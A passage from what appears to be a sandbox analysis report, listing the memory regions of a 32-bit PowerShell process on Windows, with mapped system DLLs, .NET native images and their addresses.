"c:\\windows\\syswow64\\kernel32.dll") Region: id = 1072 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1073 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1074 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1075 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1076 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1077 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1078 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1079 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1080 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1081 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1082 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1083 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1084 start_va = 0x680000 end_va = 0x807fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1085 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1086 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1087 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1088 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1089 start_va = 0x130000 end_va = 0x132fff entry_point = 0x130000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1090 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1091 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1092 start_va = 0x330000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1093 start_va = 0x530000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 1094 start_va = 0x810000 end_va = 0x990fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 1095 start_va = 0x9a0000 end_va = 0x1d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 1096 start_va = 0x1f20000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 1097 start_va = 0x73db0000 end_va = 0x73e2ffff entry_point = 0x73dc37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1098 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1099 start_va = 0x220000 end_va = 0x2fefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1100 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1101 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1102 start_va = 0x73b30000 end_va = 0x73b46fff entry_point = 0x73b31c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 1103 start_va = 0x74b40000 end_va = 0x74b4afff entry_point = 0x74b41992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1104 start_va = 0x75650000 end_va = 0x76299fff entry_point = 0x756d1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1105 start_va = 0x190000 end_va = 0x191fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1106 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1107 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1108 start_va = 0x340000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1109 start_va = 0x450000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1110 start_va = 0x1f60000 end_va = 0x222efff entry_point = 0x1f60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1111 start_va = 0x74820000 end_va = 0x749bdfff entry_point = 0x7484e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1112 start_va = 0x74a00000 end_va = 0x74a20fff entry_point = 0x74a0145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1113 start_va = 0x74a30000 end_va = 0x74b24fff entry_point = 0x74a40d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1114 start_va = 0x762a0000 end_va = 0x762e4fff entry_point = 0x762a11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1115 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1116 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1117 start_va = 0x300000 end_va = 0x322fff entry_point = 0x300000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Region: id = 1118 start_va = 0x76850000 end_va = 0x76876fff entry_point = 0x768558b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1119 start_va = 0x76ae0000 end_va = 0x76c7cfff entry_point = 0x76ae17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1120 start_va = 0x76eb0000 end_va = 0x76ec1fff entry_point = 0x76eb1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1121 start_va = 0x1da0000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 1122 start_va = 0x1ee0000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1123 start_va = 0x2230000 end_va = 0x2622fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002230000" filename = "" Region: id = 1124 start_va = 0x2740000 end_va = 0x277ffff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 1125 start_va = 0x74780000 end_va = 0x747cbfff entry_point = 0x74782c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1126 start_va = 0x747f0000 end_va = 0x7481dfff entry_point = 0x747f1bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 1127 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1128 start_va = 0x753c0000 end_va = 0x753c8fff entry_point = 0x753c153e region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 1129 start_va = 0x1c0000 end_va = 0x1c3fff entry_point = 0x1c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1130 start_va = 0x380000 end_va = 0x383fff entry_point = 0x380000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1131 start_va = 0x410000 end_va = 0x43ffff entry_point = 0x410000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db") Region: id = 1132 start_va = 0x490000 end_va = 0x4f5fff entry_point = 0x490000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1133 start_va = 0x75350000 end_va = 0x753bffff entry_point = 0x75351f65 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 1134 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1135 start_va = 0x2790000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 1136 start_va = 0x28c0000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 1137 start_va = 0x75320000 end_va = 0x7532afff entry_point = 0x75321200 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 1138 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1139 start_va = 0x75310000 end_va = 0x75319fff entry_point = 0x75314d20 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 1140 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1141 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1142 start_va = 0x741b0000 end_va = 0x74229fff entry_point = 0x741b1f48 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1143 start_va = 0x440000 end_va = 0x440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1144 start_va = 0x2a80000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 1145 start_va = 0x2c50000 end_va = 0x2c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 1146 start_va = 0x6e670000 end_va = 0x6ec1afff entry_point = 0x6e6c3dc0 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll") Region: id = 1147 start_va = 0x746e0000 end_va = 0x7477afff entry_point = 0x746e232b region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll") Region: id = 1148 start_va = 0x500000 end_va = 0x500fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 1149 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 1150 start_va = 0x520000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1151 start_va = 0x570000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1152 start_va = 0x1ea0000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1153 start_va = 0x1eb0000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 1154 start_va = 0x1ec0000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 1155 start_va = 0x1ed0000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1156 start_va = 0x2630000 end_va = 0x26cffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 1157 start_va = 0x2850000 end_va = 0x288ffff entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 1158 start_va = 0x2920000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 1159 start_va = 0x2990000 end_va = 0x29cffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 1160 start_va = 0x2a10000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 1161 start_va = 0x2c60000 end_va = 0x4c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 1162 start_va = 0x6db70000 end_va = 0x6e667fff entry_point = 0x6db70000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll") Region: id = 1163 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1164 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1165 start_va = 0x26d0000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 1166 start_va = 0x4c60000 end_va = 0x4f41fff entry_point = 0x4eeec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1167 start_va = 0x6d340000 end_va = 0x6d3c0fff entry_point = 0x6d340000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\microsoft.powershell.consolehost.ni.dll") Region: id = 1168 start_va = 0x6d3d0000 end_va = 0x6db6bfff entry_point = 0x6d3d0000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll") Region: id = 1169 start_va = 0x6c7d0000 end_va = 0x6d049fff entry_point = 0x6c7d0000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.a#\\4436815b432c313255af322f4ec3560d\\system.management.automation.ni.dll") Region: id = 1170 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1171 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1172 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1173 start_va = 0x26e0000 end_va = 0x26e2fff entry_point = 0x26e0000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\SysWOW64\\l_intl.nls" (normalized: "c:\\windows\\syswow64\\l_intl.nls") Region: id = 1174 start_va = 0x2ac0000 end_va = 0x2b7ffff entry_point = 0x2ac0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1175 start_va = 0x77870000 end_va = 0x77874fff entry_point = 0x77871438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1176 start_va = 0x26f0000 end_va = 0x26f0fff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 1177 start_va = 0x2700000 end_va = 0x2704fff entry_point = 0x2700000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 1178 start_va = 0x27d0000 end_va = 0x2810fff entry_point = 0x27d0000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 1179 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1180 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1181 start_va = 0x2710000 end_va = 0x2717fff entry_point = 0x271302e region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 1182 start_va = 0x2720000 end_va = 0x2720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002720000" filename = "" Region: id = 1183 start_va = 0x2b80000 end_va = 0x2bc2fff entry_point = 0x2bbf03c region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1184 start_va = 0x67aa0000 end_va = 0x67ae2fff entry_point = 0x67adf03c region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1185 start_va = 0x6c3e0000 end_va = 0x6c47bfff entry_point = 0x6c3e0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.transactions\\ad18f93fc713db2c4b29b25116c13bd8\\system.transactions.ni.dll") Region: id = 1186 start_va = 0x6c480000 end_va = 0x6c504fff entry_point = 0x6c480000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.man#\\ee28a075665b6bc23b6dae56903d431d\\microsoft.wsman.management.ni.dll") Region: id = 1187 start_va = 0x6c510000 end_va = 0x6c534fff entry_point = 0x6c510000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuratio#\\f02737c83305687a68c088927a6c5a98\\system.configuration.install.ni.dll") Region: id = 1188 start_va = 0x6c540000 end_va = 0x6c58afff entry_point = 0x6c540000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\4f68cd04686e5dc5a55070d112d44bdf\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\4f68cd04686e5dc5a55070d112d44bdf\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 1189 start_va = 0x6c590000 end_va = 0x6c7c4fff entry_point = 0x6c590000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.core\\fbc05b5b05dc6366b02b8e2f77d080f1\\system.core.ni.dll") Region: id = 1190 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002730000" filename = "" Region: id = 1191 start_va = 0x60340000 end_va = 0x60347fff entry_point = 0x60343809 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\culture.dll") Region: id = 1192 start_va = 0x6c140000 end_va = 0x6c16cfff entry_point = 0x6c140000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8ce205027e30804d1b2deaffa0582735\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\8ce205027e30804d1b2deaffa0582735\\microsoft.powershell.security.ni.dll") Region: id = 1193 start_va = 0x6c170000 end_va = 0x6c232fff entry_point = 0x6c170000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8df695fb80187f65208d87229e81e8a2\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\8df695fb80187f65208d87229e81e8a2\\microsoft.powershell.commands.management.ni.dll") Region: id = 1194 start_va 